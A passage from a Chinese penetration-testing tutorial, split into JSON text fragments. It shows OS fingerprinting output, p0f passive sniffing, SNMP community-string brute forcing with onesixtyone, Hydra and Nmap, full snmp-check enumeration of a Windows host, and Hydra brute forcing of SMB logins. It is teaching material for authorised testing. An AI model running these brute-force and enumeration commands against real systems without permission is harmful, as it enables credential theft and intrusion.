[13] fingerprint:snmp - SNMPv2c fingerprinting module [+] 13 modules registered [+] Initializing scan engine [+] Running scan engine [-] ping:tcp_ping module: no closed/open TCP ports known on 124.163.204.105. Module test failed [-] ping:udp_ping module: no closed/open UDP ports known on 124.163.204.105. Module test failed [-] No distance calculation. 124.163.204.105 appears to be dead or no ports known [+] Host: 124.163.204.105 is up (Guess probability: 50%) [+] Target: 124.163.204.105 is alive. Round-Trip Time: 0.01528 sec [+] Selected safe Round-Trip Time value is: 0.03056 sec [-] fingerprint:tcp_hshake Module execution aborted (no open TCP ports known) [-] fingerprint:smb need either TCP port 139 or 445 to run [-] fingerprint:snmp: need UDP port 161 open [+] Primary guess: [+] Host 124.163.204.105 Running OS: \"HP JetDirect ROM G.07.02 EEPROM G.07.17\" (Guess probability: 83%) [+] Other guesses: [+] Host 124.163.204.105 Running OS: \"HP JetDirect ROM G.07.02 EEPROM G.07.20\" (Guess probability: 83%) [+] Host 124.163.204.105 Running OS: \"HP JetDirect ROM G.07.02 EEPROM G.08.04\" (Guess probability: 83%) [+] Host 124.163.204.105 Running OS: \"HP JetDirect ROM G.07.19 EEPROM G.07.20\" (Guess probability: 83%) [+] Host 124.163.204.105 Running OS: \"HP JetDirect ROM G.07.19 EEPROM G.08.03\" (Guess probability: 83%) [+] Host 124.163.204.105 Running OS: \"HP JetDirect ROM G.07.19 EEPROM G.08.04\" (Guess probability: 83%) [+] Host 124.163.204.105 Running OS: \"HP JetDirect ROM G.08.08 EEPROM G.08.04\" (Guess probability: 83%) [+] Host 124.163.204.105 Running OS: \"HP JetDirect ROM G.08.21 EEPROM G.08.21\" (Guess probability: 83%) [+] Host 124.163.204.105 Running OS: \"HP JetDirect ROM H.07.15 EEPROM H.08.20\" (Guess probability: 83%) [+] Host 124.163.204.105 Running OS: \"HP JetDirect ROM G.06.00 EEPROM G.06.00\" (Guess probability: 83%) [+] Cleaning up scan engine [+] Modules deinitialized [+] Execution completed. 从以上输出的信息中可以看到，执行结果出错了（HP JetDirect ROM G.07.02 EEPROM G.07.17）。"},
    {"text": "具体如下： [+] Primary guess: [+] Host 192.168.1.8 Running OS: ????U (Guess probability: 100%) [+] Other guesses: [+] Host 192.168.1.8 Running OS: ?????U (Guess probability: 100%) [+] Host 192.168.1.8 Running OS: ?????U (Guess probability: 100%) [+] Host 192.168.1.8 Running OS: ?????U (Guess probability: 100%) [+] Host 192.168.1.8 Running OS: ????U (Guess probability: 100%) [+] Host 192.168.1.8 Running OS: ?????U (Guess probability: 100%) [+] Host 192.168.1.8 Running OS: ????U (Guess probability: 100%) [+] Host 192.168.1.8 Running OS: ?????U (Guess probability: 100%) [+] Host 192.168.1.8 Running OS: ?????U (Guess probability: 100%) [+] Host 192.168.1.8 Running OS: ?????U (Guess probability: 100%) [+] Cleaning up scan engine [+] Modules deinitialized [+] Execution completed."},
    {"text": "未知 6.3.4 p0f系统识别 p0f是一款用于识别远程操作系统的工具，该工具与前面介绍的其他工具不同，它是一个完全被动地识别操作系统指纹信息的工具，不会直接作用于目标系统。当启动该工具后，即可监听网络中的所有数据包。通过分析监听到的数据包，即可找出与系统相关的信息。下面将介绍使用p0f工具来实施操作系统指纹识别的方法。 【实例6-19】使用p0f工具对目标主机实施系统识别。执行命令如下： （1）启动p0f工具。执行命令如下： root@daxueba:~# p0f --- p0f 3.09b by Michal Zalewski <lcamtuf@coredump.cx> --- [+] Closed 1 file descriptor. [+] Loaded 322 signatures from '/etc/p0f/p0f.fp'. [+] Intercepting traffic on default interface 'eth0'. [+] Default packet filtering configured [+VLAN]. [+] Entered main event loop. 从以上输出信息中可以看到，p0f工具仅显示了几行信息，无法捕获到其他信息。但是，p0f会一直处于监听状态。 （2）此时，当有其他主机在网络中产生数据流量的话，将会被p0f工具监听到。例如，在另一台主机上通过浏览器访问一个站点，然后返回到p0f所在的终端，将看到如下信息： .-[ 192.168.1.4/38934 -> 65.200.22.161/80 (http request) ]- #HTTP请求 | | client = 192.168.1.4/38934 #客户端 | app = Safari 5.1-6 #应用 | lang = English #语言 | params = dishonest #程序 | raw_sig = 1:Host,User-Agent,Accept=[*/*],Accept-Language=[en-US,en; q=0.5],Accept-Encoding=[gzip, deflate],?Cache-Control,Pragma=[no-cache], Connection=[keep-alive]:Accept-Charset,Keep-Alive:Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 #数据内容 | `---- .-[ 192.168.1.4/38934 -> 65.200.22.161/80 (uptime) ]- | | server = 65.200.22.161/80 #服务器 | uptime = 30 days 0 hrs 22 min (modulo 45 days) #时间 | raw_freq = 1048.46 Hz #频率 | `---- .-[ 192.168.1.4/38934 -> 65.200.22.161/80 (http response) ]- | | server = 65.200.22.161/80 | app = ??? | lang = none | params = none | raw_sig = 1:Content-Type,?Content-Length,?Last-Modified,?ETag,Accept- Ranges=[bytes],Server,X-Amz-Cf-Id=[X7nIiIIBBeQOTeLSHRH3U4SM6xDHfgwK1EaK f8bdyemtuUoR8JK9Xg==],?Cache-Control,Date,Connection=[keep-alive]:Keep- Alive:AmazonS3 | `---- .-[ 192.168.1.4/32854 -> 52.27.184.151/443 (syn) ]- | | client = 192.168.1.4/32854 | os = Linux 3.11 and newer | dist = 0 | params = none | raw_sig = 4:64+0:0:1460:mss*20,7:mss,sok,ts,nop,ws:df,id+:0 | `---- .-[ 192.168.1.4/32854 -> 52.27.184.151/443 (host change) ]- | | client = 192.168.1.4/32854 | reason = tstamp port | raw_hits = 0,1,1,1 | `---- .-[ 192.168.1.4/32854 -> 52.27.184.151/443 (mtu) ]- | | client = 192.168.1.4/32854 | link = Ethernet or modem | raw_mtu = 1500 | `---- .-[ 192.168.1.4/32856 -> 52.27.184.151/443 (syn) ]- | | client = 192.168.1.4/32856 | os = Linux 3.11 and newer | dist = 0 | params = none | raw_sig = 4:64+0:0:1460:mss*20,7:mss,sok,ts,nop,ws:df,id+:0 | `---- 以上输出的信息，就是执行监听到客户端访问的数据信息。从以上输出的信息可以看到，探测到客户端的操作系统类型为Linux 3.11或更新的内核版本。 未知 6.4 利用SNMP服务 SNMP（Simple Network Management Protocol，简单网络管理协议）是由一组网络管理的标准组成，包含一个应用层协议和一组资源对象。该协议能够支持网络管理系统，用以监测连接到网络上的设备是否有任何引起管理上关注的情况。本节将介绍利用SNMP服务获取主机信息的方法。"},
    {"text": "未知 6.4.1 SNMP服务概述 SNMP是一种简单的网络管理协议，它使用UDP协议通过以太网来执行网络管理。下面将介绍SNMP服务的一些基础知识。 1．SNMP服务的构成 SNMP协议主要由两大部分构成，分别是SNMP管理站和SNMP代理。其中，SNMP管理站是一个中心节点，负责收集维护各个SNMP元素的信息，并对这些信息进行处理，最后反馈给网络管理员；而SNMP代理是运行在各个被管理的网络节点之上，负责统计该节点的各项信息，并且负责与SNMP管理站交互，接收并执行管理站的命令，上传各种本地的网络信息。 SNMP管理站和SNMP代理之间是松散耦合的关系。它们之间的通信是通过UDP协议完成的。一般情况下，SNMP管理站通过UDP协议向SNMP代理发送各种命令。当SNMP代理收到命令后，返回SNMP管理站需要的参数。当SNMP代理检测到网络元素异常的时候，也可以主动向SNMP管理站发送消息，通知当前异常状况。 2．SNMP工作方式 SNMP服务采用UDP协议在管理端和代理端之间传输信息。SNMP采用UDP端口161接收和发送请求，162端口接收Trap信息，执行SNMP的设备默认都必须使用这些端口。 3．SNMP版本 SNMP目前共有v1、v2和v3 3个版本，这3个版本的区别如下。 ·SNMP v1：是SNMP协议的最初版本，不过依然是众多厂家实现SNMP的基本方式。 ·SNMP v2：通常指基于Community的SNMP V2，Community实质上就是密码。 ·SNMP v3：是最新版本的SNMP。其最大改进在于安全性，增加了对认证和密文传输的支持。 未知 6.4.2 暴力破解SNMP服务 如果要访问SNMP服务，则需要知道其密码。所以，如果要利用SNMP服务来获取主机信息的话，则需要先知道其加密的密码串。下面将介绍暴力破解SNMP服务的方法。 1．使用Onesixtyoue工具 Onesixtyoue是一个专门针对于SNMP协议的扫描器。如果指定其密码，即可获取到目标主机的相关信息；如果不知道密码，也可以用来实施密码破解。使用Onesixtyoue工具破解SNMP服务密码的语法格式如下： onesixtyoue [host] -c [communityfile] 其中，-c[communityfile]选项用于指定尝试的密码文件。 【实例6-20】使用Onesixtyoue工具破解SNMP服务密码。执行命令如下： root@daxueba:~# onesixtyone 192.168.1.5 -c /root/password.lst Scanning 1 hosts, 15 communities 192.168.1.5 [public] Hardware: Intel64 Family 6 Model 42 Stepping 7 AT/AT COMPATIBLE - Software: Windows Version 6.1 (Build 7601 Multiprocessor Free) 从输出的信息可以看到，使用Onesixtyoue工具成功破解出了SNMP服务的密码，并且获取到了目标主机信息。其中，破解出的密码为public；目标主机的硬件为Intel64、操作系统为Windows Version 6.1。 2．使用Hydra工具 Hydra是著名的黑客组织THC的一款开源暴力破解工具。目前，该工具支持破解的服务有FTP、MySQL、SNMP、SSH等。用于暴力破解SNMP服务的语法格式如下： hydra -P [passwordfile] [host] snmp 其中，-P选项指定用于破解的密码文件。 【实例6-21】使用Hydra工具实施SNMP服务暴力破解。执行命令如下： root@daxueba:~# hydra -P /root/password.lst 192.168.1.5 snmp Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2019-01-06 14:33:50 [DATA] max 15 tasks per 1 server, overall 15 tasks, 15 login tries (l:1/p:15), ~1 try per task [DATA] attacking snmp://192.168.1.5:161/ [161][snmp] host: 192.168.1.5 password: public 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2019-01-06 14:33:58 从以上输出的信息可以看到，使用Hydra工具成功破解出了目标主机上SNMP服务的密码，该密码为public。 3．使用Nmap工具 在Nmap工具中提供了一个脚本snmp-brute，可以用来实施SNMP服务暴力破解。其中，使用该脚本实施暴力破解的语法格式如下： nmap -sU -p [port] --script=snmp-brute [host] --script-args=snmp-brute. communitiesdb=[password] 以上语法中的选项及含义如下： ·-sU：实施UDP扫描。 ·-p[port]：指定目标服务的端口。 ·--script：实施SNMP服务暴力破解脚本。 ·--script-args：指定实施暴力破解的参数。 【实例6-22】对目标SNMP服务实施暴力破解。执行命令如下： root@daxueba:~# nmap -sU -p 161 --script=snmp-brute 192.168.1.5 --script- args=snmp-brute.communitiesdb=/root/password.lst Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 14:35 CST Nmap scan report for test-pc (192.168.1.5) Host is up (0.00025s latency). PORT STATE SERVICE 161/udp open|filtered snmp | snmp-brute: |_ public - Valid credentials #有效认证 MAC Address: 00:0C:29:21:8C:96 (VMware) Nmap done: 1 IP address (1 host up) scanned in 2.11 seconds 从输出的信息可以看到，使用Nmap工具成功破解出了目标服务的密码，该密码为public。"},
    {"text": "1．使用Onesixtyoue工具 Onesixtyoue是一个简单的SNMP分析工具，使用该工具，仅请求指定地址的系统描述值。 在使用Onesixtyoue工具分析SNMP时，需要指定目标IP地址和社区字符串。"},
    {"text": "执行命令如下： root@daxueba:~# onesixtyone 192.168.6.109 public Scanning 1 hosts, 1 communities 192.168.6.109 [public] Hardware: Intel64 Family 6 Model 42 Stepping 7 AT/AT COMPATIBLE - Software: Windows Version 6.1 (Build 7601 Multiprocessor Free) 从以上输出信息中，可以看到显示出了主机192.168.6.109的操作系统类型、版本和系统硬件等信息。"},
    {"text": "2．使用SNMPwalk工具 SNMPwalk是一个比较复杂的SNMP扫描工具，它可以收集使用SNMP社区字符串设备的大量信息。 使用SNMPwalk工具获取主机信息的语法格式如下： snmpwalk [host] -c [community] -v [version] 以上语法中的选项及含义如下。"},
    {"text": "执行命令如下： root@daxueba:~# snmpwalk 192.168.1.5 -c public -v 2c iso.3.6.1.2.1.1.1.0 = STRING: \"Hardware: Intel64 Family 6 Model 42 Stepping 7 AT/AT COMPATIBLE - Software: Windows Version 6.1 (Build 7601 Multiprocessor Free)\" iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.1 iso.3.6.1.2.1.1.3.0 = Timeticks: (649146) 1:48:11.46 iso.3.6.1.2.1.1.4.0 = \"\" iso.3.6.1.2.1.1.5.0 = STRING: \"Test-PC\" iso.3.6.1.2.1.1.6.0 = \"\" iso.3.6.1.2.1.1.7.0 = INTEGER: 76 iso.3.6.1.2.1.2.1.0 = INTEGER: 24 iso.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1 iso.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2 iso.3.6.1.2.1.2.2.1.1.3 = INTEGER: 3 iso.3.6.1.2.1.2.2.1.1.4 = INTEGER: 4 iso.3.6.1.2.1.2.2.1.1.5 = INTEGER: 5 iso.3.6.1.2.1.2.2.1.1.6 = INTEGER: 6 iso.3.6.1.2.1.2.2.1.1.7 = INTEGER: 7 iso.3.6.1.2.1.2.2.1.1.8 = INTEGER: 8 iso.3.6.1.2.1.2.2.1.1.9 = INTEGER: 9 iso.3.6.1.2.1.2.2.1.1.10 = INTEGER: 10 iso.3.6.1.2.1.2.2.1.1.11 = INTEGER: 11 iso.3.6.1.2.1.2.2.1.1.12 = INTEGER: 12 iso.3.6.1.2.1.2.2.1.1.13 = INTEGER: 13 iso.3.6.1.2.1.2.2.1.1.14 = INTEGER: 14 iso.3.6.1.2.1.2.2.1.1.15 = INTEGER: 15 iso.3.6.1.2.1.2.2.1.1.16 = INTEGER: 16 iso.3.6.1.2.1.2.2.1.1.17 = INTEGER: 17 iso.3.6.1.2.1.2.2.1.1.18 = INTEGER: 18 iso.3.6.1.2.1.2.2.1.1.19 = INTEGER: 19 iso.3.6.1.2.1.2.2.1.1.20 = INTEGER: 20 iso.3.6.1.2.1.2.2.1.1.21 = INTEGER: 21 iso.3.6.1.2.1.2.2.1.1.22 = INTEGER: 22 iso.3.6.1.2.1.2.2.1.1.23 = INTEGER: 23 iso.3.6.1.2.1.2.2.1.1.24 = INTEGER: 24 iso.3.6.1.2.1.2.2.1.2.1 = Hex-STRING: 53 6F 66 74 77 61 72 65 20 4C 6F 6F 70 62 61 63 6B 20 49 6E 74 65 72 66 61 63 65 20 31 00 iso.3.6.1.2.1.2.2.1.2.2 = Hex-STRING: 57 41 4E 20 4D 69 6E 69 70 6F 72 74 20 28 53 53 54 50 29 00 iso.3.6.1.2.1.2.2.1.2.3 = Hex-STRING: 57 41 4E 20 4D 69 6E 69 70 6F 72 74 20 28 4C 32 54 50 29 00 从以上输出信息中可以看到显示出了主机192.168.1.5上大量设备的唯一标识符（OID）信息。"},
    {"text": "3．使用snmp-check工具 snmp-check是一款枚举SNMP信息工具，该工具会显示具体信息名称，而不像SNMPwalk工具一样只显示iso序列号。 snmp-check工具支持的枚举包括设备、域、硬件，以及存储信息、主机名和监听端口等。 使用snmp-check工具枚举SNMP信息的语法格式如下： snmp-check [option] [target IP address] 这里常用的选项option及含义如下。"},
    {"text": "【实例6-24】使用snmp-check工具获取目标主机信息，执行命令如下： root@daxueba:~# snmp-check 192.168.1.5 执行以上命令后，将会输出大量与主机相关的信息。"},
    {"text": "具体如下： snmp-check v1.9 - SNMP enumerator Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org) [+] Try to connect to 192.168.1.5:161 using SNMPv1 and community 'public' [*] System information: Host IP address : 192.168.1.5 #目标主机IP地址 Hostname : Test-PC #主机名 Description : Hardware: Intel64 Family 6 Model 42 Stepping 7 AT/AT COMPATIBLE - Software: Windows Version 6.1 (Build 7601 Multiprocessor Free) #描述信息 Contact : - #联系人 Location : - #描述 Uptime snmp : 04:59:17.32 #SNMP服务运行的时间 Uptime system : 02:03:16.26 #目标系统运行的时间 System date : 2019-1-6 16:15:50.0 #当前目标系统的时间 Domain : WORKGROUP 输出的信息显示了该系统中的所有用户。"},
    {"text": "（3）获取网络信息： [*] Network information: IP forwarding enabled : no #是否启用IP转发 Default TTL : 128 #默认TTL值 TCP segments received : 19004 #收到TCP段 TCP segments sent : 16820 #发送TCP段 TCP segments retrans : 179 #重发TCP端 Input datagrams : 28944 #输入数据报 Delivered datagrams : 35035 #传输的数据报 Output datagrams : 43038 #输出数据报 以上信息显示了该目标系统中网络的相关信息，如默认TTL值、收到TCP段、发送TCP段、重发TCP段等。 （4）获取网络接口信息： [*] Network interfaces: Interface : [ up ] Software Loopback Interface 1 #接口描述信息 Id : 1 #接口ID Mac Address : ::::: #MAC地址 Type : softwareLoopback #接口类型 Speed : 1073 Mbps #接口速度 MTU : 1500 #最大传输单元 In octets : 0 #八位字节输入 Out octets : 0 #八位字节输出 Interface : [ up ] WAN Miniport (SSTP) Id : 2 Mac Address : ::::: Type : unknown Speed : 1073 Mbps MTU : 4091 In octets : 0 Out octets : 0 ……省略部分内容 Interface : [ up ] WAN Miniport (Network Monitor)-QoS Packet Scheduler-0000 Id : 24 Mac Address : a8:ac:20:52:41:53 Type : ethernet-csmacd Speed : 1073 Mbps MTU : 1500 In octets : 0 Out octets : 0 以上输出信息显示了当前系统中的所有接口信息。"},
    {"text": "（5）获取网络IP信息： [*] Network IP: Id IP Address Netmask Broadcast 1 127.0.0.1 255.0.0.0 1 11 192.168.1.5 255.255.255.0 1 18 192.168.67.1 255.255.255.0 1 17 192.168.254.1 255.255.255.0 1 以上显示的信息，表示当前目标主机中所有的网络接口地址信息。"},
    {"text": "（6）获取路由信息： [*] Routing information: Destination Next hop Mask Metric 0.0.0.0 192.168.1.1 0.0.0.0 10 127.0.0.0 127.0.0.1 255.0.0.0 306 127.0.0.1 127.0.0.1 255.255.255.255 306 127.255.255.255 127.0.0.1 255.255.255.255 306 192.168.1.0 192.168.1.5 255.255.255.0 266 192.168.1.5 192.168.1.5 255.255.255.255 266 192.168.1.255 192.168.1.5 255.255.255.255 266 192.168.67.0 192.168.67.1 255.255.255.0 276 192.168.67.1 192.168.67.1 255.255.255.255 276 192.168.67.255 192.168.67.1 255.255.255.255 276 192.168.254.0 192.168.254.1 255.255.255.0 276 192.168.254.1 192.168.254.1 255.255.255.255 276 192.168.254.255 192.168.254.1 255.255.255.255 276 224.0.0.0 127.0.0.1 240.0.0.0 306 255.255.255.255 127.0.0.1 255.255.255.255 306 以上信息表示目标系统的一个路由表信息，该路由表包括目的地址、下一跳地址、子网掩码及距离。 （7）获取监听的TCP端口： [*] TCP connections and listening ports: Local address Local port Remote address Remote port State 0.0.0.0 21 0.0.0.0 0 listen 0.0.0.0 22 0.0.0.0 0 listen 0.0.0.0 135 0.0.0.0 0 listen 0.0.0.0 443 0.0.0.0 0 listen 0.0.0.0 902 0.0.0.0 0 listen 0.0.0.0 912 0.0.0.0 0 listen 127.0.0.1 1434 0.0.0.0 0 listen 127.0.0.1 5357 127.0.0.1 49733 timeWait 127.0.0.1 8307 0.0.0.0 0 listen 127.0.0.1 14147 0.0.0.0 0 listen 192.168.1.5 139 0.0.0.0 0 listen 192.168.1.5 49161 42.236.37.114 80 established 192.168.1.5 49730 223.167.166.52 80 established 192.168.67.1 139 0.0.0.0 0 listen 192.168.254.1 139 0.0.0.0 0 listen 以上信息表示两台主机建立TCP连接后的信息，包括本地地址（Local address）、本地端口（Local port）、远端主机地址（Remote address）、远端主机端口（Remote port）和状态（State）。 （8）获取监听的UDP端口信息： [*] Listening UDP ports: Local address Local port 0.0.0.0 161 0.0.0.0 500 0.0.0.0 3544 0.0.0.0 3600 0.0.0.0 3702 0.0.0.0 4500 0.0.0.0 5355 0.0.0.0 45769 0.0.0.0 50529 0.0.0.0 60289 0.0.0.0 60399 0.0.0.0 62219 127.0.0.1 1900 127.0.0.1 56372 192.168.1.5 137 192.168.1.5 138 192.168.1.5 1900 192.168.1.5 56371 192.168.1.5 65005 192.168.67.1 137 192.168.67.1 138 192.168.67.1 1900 192.168.254.1 137 192.168.254.1 138 192.168.254.1 1900 以上信息表示目标主机中已开启的UDP端口号。"},
    {"text": "（9）获取网络服务信息： [*] Network services: Index Name 0 Power 1 Server 2 Themes 3 IP Helper 4 DNS Client 5 Superfetch 6 DHCP Client 7 Workstation 8 SNMP Service 9 VMware Tools 10 主动防御 11 Offline Files …省略部分内容 61 SQL Server Integration Services 62 VMware 物理磁盘助手服务 63 Function Discovery Provider Host 64 Peer Networking Identity Manager 65 System Event Notification Service 66 World Wide Web Publishing Service 67 Extensible Authentication Protocol 68 Windows Management Instrumentation 69 Windows Process Activation Service 70 Distributed Transaction Coordinator 71 IKE and AuthIP IPsec Keying Modules 72 Desktop Window Manager Session Manager 73 Background Intelligent Transfer Service 74 Function Discovery Resource Publication 75 VMware Alias Manager and Ticket Service 76 WinHTTP Web Proxy Auto-Discovery Service 77 SQL Server Analysis Services (MSSQLSERVER) 以上信息显示了目标主机中安装的所有服务。"},
    {"text": "（10）获取进程信息： [*] Processes: Id Status Name Path Parameters 1 running System Idle Process 4 running System 300 running smss.exe \\SystemRoot\\System32\\ 396 running csrss.exe %SystemRoot%\\system32\\ Object Directory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystem Type=Windows ServerDll=basesrv,1 ServerDll=winsrv:User 436 running wininit.exe 448 running csrss.exe %SystemRoot%\\system32\\ Object Directory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType= Windows ServerDll=basesrv,1 ServerDll=winsrv:User 484 running winlogon.exe 540 running services.exe C:\\Windows\\system32\\ 556 running lsass.exe C:\\Windows\\system32\\ 564 running lsm.exe C:\\Windows\\system32\\ 652 running svchost.exe 696 running vmtoolsd.exe C:\\Program Files\\VMware\\VMware Tools\\ -n vmusr 从以上显示的信息中可以看到共有5列，分别是ID号（Id）、状态（Status）、进程名（Name）、路径（Path）和参数（Parameters）。"},
    {"text": "（11）获取存储信息： [*] Storage information: Description : [\"C:\\\\ Label: Serial Number d0ce180b\"] #描述信息 Device id : [#<SNMP::Integer:0x000055e9d4da4df0 @value=1>] #设备ID Filesystem type : [\"unknown\"] #文件系统类型 Device unit : [#<SNMP::Integer:0x000055e9d4d89910 @value=4096>] #设备单元 Memory size : 299.90 GB #内存总大小 Memory used : 49.66 GB #已用内存大小 Description : [\"D:\\\\\"] Device id : [#<SNMP::Integer:0x000055e9d4d5ad90 @value=2>] Filesystem type : [\"unknown\"] Device unit : [#<SNMP::Integer:0x000055e9d4d535b8 @value=0>] Memory size : 0 bytes Memory used : 0 bytes Description : [\"E:\\\\ Label:\\xD0\\xC2\\xBC\\xD3\\xBE\\xED Serial Number c6d01134\"] Device id : [#<SNMP::Integer:0x000055e9d48c2940 @value=3>] Filesystem type : [\"unknown\"] Device unit : [#<SNMP::Integer:0x000055e9d48bbd98 @value=4096>] Memory size : 300.00 GB Memory used : 24.54 GB Description : [\"Virtual Memory\"] Device id : [#<SNMP::Integer:0x000055e9d4d06588 @value=4>] Filesystem type : [\"unknown\"] Device unit : [#<SNMP::Integer:0x000055e9d4cfda50 @value=65536>] Memory size : 4.00 GB Memory used : 1.66 GB Description : [\"Physical Memory\"] Device id : [#<SNMP::Integer:0x000055e9d4ce4d20 @value=5>] Filesystem type : [\"unknown\"] Device unit : [#<SNMP::Integer:0x000055e9d4ce2700 @value=65536>] Memory size : 2.00 GB Memory used : 1.05 GB 该部分显示了系统中的所有磁盘信息，包括盘符名、设备ID、文件系统类型、总空间大小及已用空间大小。"},
    {"text": "（12）获取文件系统信息： [*] File system information: Index : 1 #索引 Mount point : #挂载点 Remote mount point : - #远程挂载点 Access : 1 #是否允许访问 Bootable : 0 #是否可以引导 以上显示了当前目标主机的文件系统信息。 从以上信息中可以看到文件系统的索引、挂载点及访问权限等信息。"},
    {"text": "（13）获取设备信息： [*] Device information: Id Type Status Descr 1 unknown running Snagit 11 Printer 2 unknown running Microsoft XPS Document Writer 3 unknown running Microsoft Shared Fax Driver 4 unknown running Unknown Processor Type 5 unknown unknown Software Loopback Interface 1 6 unknown unknown WAN Miniport (SSTP) 7 unknown unknown WAN Miniport (L2TP) 8 unknown unknown WAN Miniport (PPTP) 9 unknown unknown WAN Miniport (PPPOE) ……省略部分内容 29 unknown unknown D:\\ 30 unknown running Fixed Disk 31 unknown running Fixed Disk 32 unknown running IBM enhanced (101- or 102-key) keyboard, Subtype=(0) 33 unknown unknown COM1: 以上信息显示了该系统中所有设备的相关信息，如打印设备、网络设备和处理器等。"},
    {"text": "（14）获取软件组件信息： [*] Software components: Index Name 1 DAEMON Tools Lite 2 Microsoft SQL Server 2005 (64 λ) 3 USBPcap 1.2.0.4 4 WinRAR 5.50 (64-λ) 5 Microsoft .NET Framework 4.7.2 6 Microsoft SQL Server ?????????????(???) 7 Microsoft Visual C++ 2017 x64 Additional Runtime – 14.12.25810 8 Microsoft .NET Framework 4.7.2 (CHS) 9 VMware Tools 10 Microsoft SQL Server 2005 ?????? 11 Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 12 Microsoft SQL Server 2005 Analysis Services (64 λ) 13 Microsoft Visual C++ 2013 x64 Additional Runtime – 12.0.21005 14 Microsoft .NET Framework 4.7.2 15 Microsoft .NET Framework 4.7.2 (????????) 16 Microsoft SQL Server 2005 Integration Services (64 λ) 17 SQLXML4 18 VMware Workstation 19 Microsoft Visual C++ 2013 x64 Minimum Runtime – 12.0.21005 20 Microsoft SQL Server VSS ??д?? 21 Microsoft Visual C++ 2017 x64 Minimum Runtime – 14.12.25810 22 Microsoft SQL Server Native Client 23 Microsoft SQL Server 2005 Notification Services (64 λ) 24 Microsoft SQL Server 2005 Tools (64 λ) 25 Microsoft SQL Server 2005 (64 λ) 以上信息显示了目标主机中安装的所有软件组件。 例如，安装的软件组件有DAEMON Tools Lite、Microsoft SQL Server 2005(64λ)、USBPcap 1.2.0.4和WinRAR 5.50(64-λ)等。"},
    {"text": "（15）IIS服务信息： [*] IIS server information: TotalBytesSentLowWord : 0 #发送的最低总字节数 TotalBytesReceivedLowWord : 0 #接收的最低总字节数 TotalFilesSent : 0 #总共发送的文件 CurrentAnonymousUsers : 0 #当前匿名用户 CurrentNonAnonymousUsers : 0 #当前非匿名用户 TotalAnonymousUsers : 0 #匿名用户总数 TotalNonAnonymousUsers : 0 #非匿名用户总数 MaxAnonymousUsers : 0 #最大匿名用户总数 MaxNonAnonymousUsers : 0 #最大非匿名用户总数 CurrentConnections : 0 #当前连接数 MaxConnections : 0 #最大连接数 ConnectionAttempts : 0 #尝试连接数 LogonAttempts : 0 #尝试登录数 Gets : 0 #Get请求数 Posts : 0 #Post请求数 Heads : 0 #Head请求数 Others : 0 #其他请求数 CGIRequests : 0 #CGI请求数 BGIRequests : 0 #BGI请求数 NotFoundErrors : 0 #没有找到的错误数 以上输出信息显示了目标主机中IIS服务的相关信息，包括服务器允许发送/接收的字节数、匿名用户和最大连接数等信息。"},
    {"text": "（16）共享信息： [*] Share: Name : Users Path : C:\\Users Comment : Name : share Path : E:\\share Comment : 在以上信息中显示了目标主机中的共享用户和文件名。 从显示的结果可以看到，共享的用户为Users、共享的文件夹为E:\\share。"},
    {"text": "未知 6.5 利用SMB服务 服务器信息块（Server Message Block，SMB）是一种IBM协议，用于在计算机间共享文件、打印机和串口等。SMB协议可以用在TCP/IP协议之上，也可以用在其他网络协议（如NetBEUI）之上。本节将介绍利用SMB服务提供的共享文件夹信息，来判断目标主机的操作系统类型和磁盘信息等。 未知 6.5.1 SMB服务概述 SMB是一种客户机/服务器、请求/响应协议。通过SMB协议，客户端应用程序可以在各种网络环境下读、写服务器上的文件，以及对服务器程序提出服务请求。此外，通过SMB协议，应用程序可以访问远程服务端的文件，以及打印机、邮件槽和命名管道等资源。 未知 6.5.2 暴力破解SMB服务 如果要利用SMB服务来获取信息的话，则需要知道该服务的登录用户名和密码。如果使用Samba构建SMB服务的话，默认安装后，将创建一个名为root的Samba用户，密码为空；如果使用Windows自带的SMB服务的话，则需要提供对应的用户名和密码。下面将介绍使用Hydra工具暴力破解SMB服务的方法。 Hydra是一款非常强大的开源密码攻击工具，支持多种协议的破解，如FTP、HTTP、SMB等。其中，用于暴力破解SMB服务的语法格式如下： Hydra -L <user file> -P <pass file> [server IP] smb 【实例6-25】使用Hydra工具暴力破解Windows自带的SMB服务。执行命令如下： root@daxueba:~# hydra -L user.txt -P pass.txt 192.168.19.131 smb Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2019-03-15 10:12:41 [INFO] Reduced number of tasks to 1 (smb does not like parallel connections) [DATA] max 1 task per 1 server, overall 1 task, 156 login tries (l:13/p:12), ~156 tries per task [DATA] attacking smb://192.168.19.131:445/ [445][smb] host: 192.168.19.131 login: test [445][smb] host: 192.168.19.131 login: Administrator password: daxueba 1 of 1 target successfully completed, 2 valid passwords found Hydra (http://www.thc.org/thc-hydra) finished at 2019-03-15 10:12:43 从输出的信息中可以看到，通过使用Hydra工具找到了一个有效的用户名和密码，用户名为Administrator，密码为daxueba。一般情况下，Windows系统都会允许Administrator用户访问所有资源。所以可以使用-l（小写）选项直接指定暴力破解该用户的密码。 root@daxueba:~# hydra -l Administrator -P pass.txt 192.168.19.131 smb 未知 6.5.3 判断操作系统类型 在Linux系统中，提供了一款名为smbclient的客户端工具，可以用来访问SMB服务中的共享文件。当成功访问到SMB共享文件后，即可看到共享文件名、磁盘类型及描述信息。通过对这些信息进行分析，则可以判断出目标主机的操作系统类型及磁盘类型。smbclient工具的语法格式如下： smbclient -L <server IP> -U [username] 【实例6-26】访问Linux系统中的SMB服务。执行命令如下： root@daxueba:~# smbclient -L 192.168.19.130 -U root Enter WORKGROUP\\root's password: 输入SMB服务用户登录的密码将显示如下信息： Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers share Disk Share folder IPC$ IPC IPC Service (Samba 4.9.2-Debian) Reconnecting with SMB1 for workgroup listing. Server Comment --------- ------- Workgroup Master --------- ------- 